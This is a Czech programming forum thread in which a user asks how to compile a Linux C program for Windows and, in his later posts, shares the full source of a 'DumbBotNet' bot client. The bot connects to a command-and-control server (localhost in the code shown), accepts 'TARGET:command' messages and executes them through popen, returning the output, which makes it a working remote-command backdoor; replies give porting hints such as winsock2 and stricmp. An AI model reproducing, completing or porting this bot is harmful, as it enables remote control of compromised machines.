NOVINKA - Online rekvalifikační kurz Java programátor. Oblíbená a studenty ověřená rekvalifikace - nyní i online.
NOVINKA – Víkendový online kurz Software tester, který tě posune dál. Zjisti, jak na to!

Diskuze: Kompilace pod Linuxem

V předchozím kvízu, Online test znalostí C++, jsme si ověřili nabyté zkušenosti z kurzu.

Aktivity
Avatar
Marek
Člen
Avatar
Marek:25.8.2016 2:56

Ahoj,
měl bych dotaz. Mám program v cistem C napsany pod linuxem. Nemam problem jej zkompilovat a spustit pod linuxem. Jde jej však zkompilovat tak, aby byl spustitelný pod Windows?

Díky

 
Odpovědět
25.8.2016 2:56
Avatar
Roman
Člen
Avatar
Odpovídá na Marek
Roman:25.8.2016 5:53

Minigw

 
Nahoru Odpovědět
25.8.2016 5:53
Avatar
David Novák
Tvůrce
Avatar
Odpovídá na Marek
David Novák:25.8.2016 8:38

Záleží, co tam používáš - pokud jsi ho napsal bez použití záležitostí specifických pro Linux, tak prostě vezmi kód a přelož ho v libovolném kompilátoru na Windows (nebo je i možnost po nějaké té konfiguraci kompilovat na Linuxu binárky pro Windows)..

Pokud používáš Linuxové funkce (tj. je tam třeba něco jako: #include <linux/....h> - libovolný nestandardní hlavičkový soubor), tak ti nezbývá nic jiného, než použít http://www.mingw.org/ nebo http://www.cygwin.com/, pokud potřebuješ POSIX.

Nahoru Odpovědět
25.8.2016 8:38
Chyba je mezi klávesnicí a židlí.
Avatar
Marek
Člen
Avatar
Marek:25.8.2016 10:29

Mingw to vyřešil, díky moc. Ale ještě bych měl prosbu pánové. Nevíte co s tím?

Při kompilaci mi to hází:

bot.c: In function 'bot_parse':
bot.c:66:7: warning: implicit declaration of function 'strcasecmp' [-Wimplicit-function-declaration]
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
^
c:/mingw/bin/­../lib/gcc/min­gw32/5.3.0/../­../../../mingw32/bin/ld­.exe: cannot find -lpthread
collect2.exe: error: ld returned 1 exit status

Fce "bot_parse" normálně po kompilaci pod linuxem nedělá problém, vypadá následnovně:

int
bot_parse (int s, char *msg)
{
  char *target = msg;
  char *cmd = NULL;

  if ((cmd = strchr (msg, ':')) == NULL)
    {
      printf ("!! Malformed command. Should be TARGET:command\n");
      return -1;
    }

  *cmd = 0;
  cmd++;
  cmd[strlen(cmd) - 1] = 0;

  if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
    return 0;

  printf ("+ Executing command: '%s'\n", cmd);
  bot_run_cmd (s, cmd);

  return 0;
}
 
Nahoru Odpovědět
25.8.2016 10:29
Avatar
Odpovídá na Marek
Patrik Valkovič:25.8.2016 10:32

To je jenom warning, chyba je až to pod tím. Chybí tomu knihovna pthread.

Nahoru Odpovědět
25.8.2016 10:32
Nikdy neumíme dost na to, abychom se nemohli něco nového naučit.
Avatar
Marek
Člen
Avatar
Marek:25.8.2016 11:21

Doinstalovaj jsem tedy knihovnu. Následně zkusil zkompilovat a hází mi to následující:

C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x209): undefined reference to `inet_addr@4'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x229): undefined reference to `htons@4'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x24f): undefined reference to `socket@12'
C:\Users\okay\Ap­pData\Local\Tem­p\cc6hWUdw.o:bot­.c:(.text+0x290): undefined reference to `connect@12'
collect2.exe: error: ld returned 1 exit status

Já věděl, že převést to na windows nebude tak jednoduchý :)

Editováno 25.8.2016 11:22
 
Nahoru Odpovědět
25.8.2016 11:21
Avatar
Odpovídá na Marek
Libor Šimo (libcosenior):25.8.2016 11:28

Ma ten kod vela riadkov? Ak ni pastni ho sem a mozno ho niekto upravi pre windows. Ak si ho pisal sam, bolo by dobre ho okomentovat. Do hlavy programatora dost spatne vidiet.

Editováno 25.8.2016 11:31
Nahoru Odpovědět
25.8.2016 11:28
Aj tisícmíľová cesta musí začať jednoduchým krokom.
Avatar
Marek
Člen
Avatar
Marek:25.8.2016 11:43

Tak tady je. Pokud by se někdo nudil a by by ochoten to přepsat pod windows, budu mu vděčen. Třeba je chyba pouze mezi židlí a PC, proto mi to nelze přeložit.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define CC_SERVER "127.0.0.1"
#define CC_PORT 9999
#define MAX_BUF 1024

#define PEXIT(str) {perror (str);exit(1);}
static char *bot_id = NULL;

int
bot_print (int s, char *str)
{
  return write (s, str, strlen(str));
}

int
bot_read (int s, char *msg)
{
  memset (msg, 0, MAX_BUF);
  if (read (s, msg, MAX_BUF)  <= 0) PEXIT ("bot_read:");

  return 0;
}

int
bot_run_cmd (int s, char *cmd)
{
  char  line[1024];
  FILE *f = popen (cmd,"r");

  if (!f) return -1;
  while (!feof (f))
    {
      if (!fgets (line, 1024, f)) break;
      bot_print (s, bot_id);
      bot_print (s, ":");
      bot_print (s, line);
    }
  fclose(f);

  return 0;
}

int
bot_parse (int s, char *msg)
{
  char *target = msg;
  char *cmd = NULL;

  if ((cmd = strchr (msg, ':')) == NULL)
    {
      printf ("!! Malformed command. Should be TARGET:command\n");
      return -1;
    }

  *cmd = 0;
  cmd++;
  cmd[strlen(cmd) - 1] = 0;

  if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
    return 0;

  printf ("+ Executing command: '%s'\n", cmd);
  bot_run_cmd (s, cmd);

  return 0;
}


int
bot_connect_cc (char *ip, int port)
{
  char                 msg[1024];
  struct sockaddr_in   server;
  int                  s;

  server.sin_addr.s_addr = inet_addr(ip);
  server.sin_family = AF_INET;
  server.sin_port = htons(port);

  if ((s = socket (PF_INET, SOCK_STREAM, 0)) < 0)
    PEXIT ("socket:");
  if ((connect (s, (struct sockaddr*) &server, sizeof(server))) < 0)
    PEXIT ("conect:");
  snprintf (msg, 1024, "%s: This is '%s' Up and Running\n", bot_id, bot_id);
  bot_print (s, msg);

  return s;
}

int
main (int argc, char* argv[])
{
  char  msg[MAX_BUF];
  int   cc_s;

  if (argc !=2) PEXIT ("Invalid Number Of Arguments:");
  bot_id = strdup (argv[1]);

  printf ("'%s' joining the DumbBotNet\n", bot_id);
  cc_s = bot_connect_cc (CC_SERVER, CC_PORT);
  while (1)
    {
      bot_read (cc_s, msg);
      bot_parse (cc_s, msg);
    }
}
 
Nahoru Odpovědět
25.8.2016 11:43
Avatar
Odpovídá na Marek
Libor Šimo (libcosenior):25.8.2016 12:10

Najdi si na nete ekvivalenty pre windows.
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Asi bude treba niekde aj trochu upravit kod, aby s ekvivalentami komunikoval.
Za pomoci preprocesoru mozes potom spravit ten kod multiplatformovy.

Nahoru Odpovědět
25.8.2016 12:10
Aj tisícmíľová cesta musí začať jednoduchým krokom.
Avatar
Martin Dráb
Tvůrce
Avatar
Odpovídá na Marek
Martin Dráb:25.8.2016 14:12

Ty síťové věci by mělo na Windows vyřešit

#include <winsock2.h>

Co se týče toho "implicit declaration", tak to bys opravdu neměl ignorovat, protože to v podstatě znamená, že nebyla nalezena hlavička pro danou funkci. Takže výsledek pak fungovat nebude. Warningy se nevyplatí nikdy ignorovat.

Co se týče strcasecmp, jejím ekvivalentem na Windows je stricmp.

Nahoru Odpovědět
25.8.2016 14:12
2 + 2 = 5 for extremely large values of 2
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 10.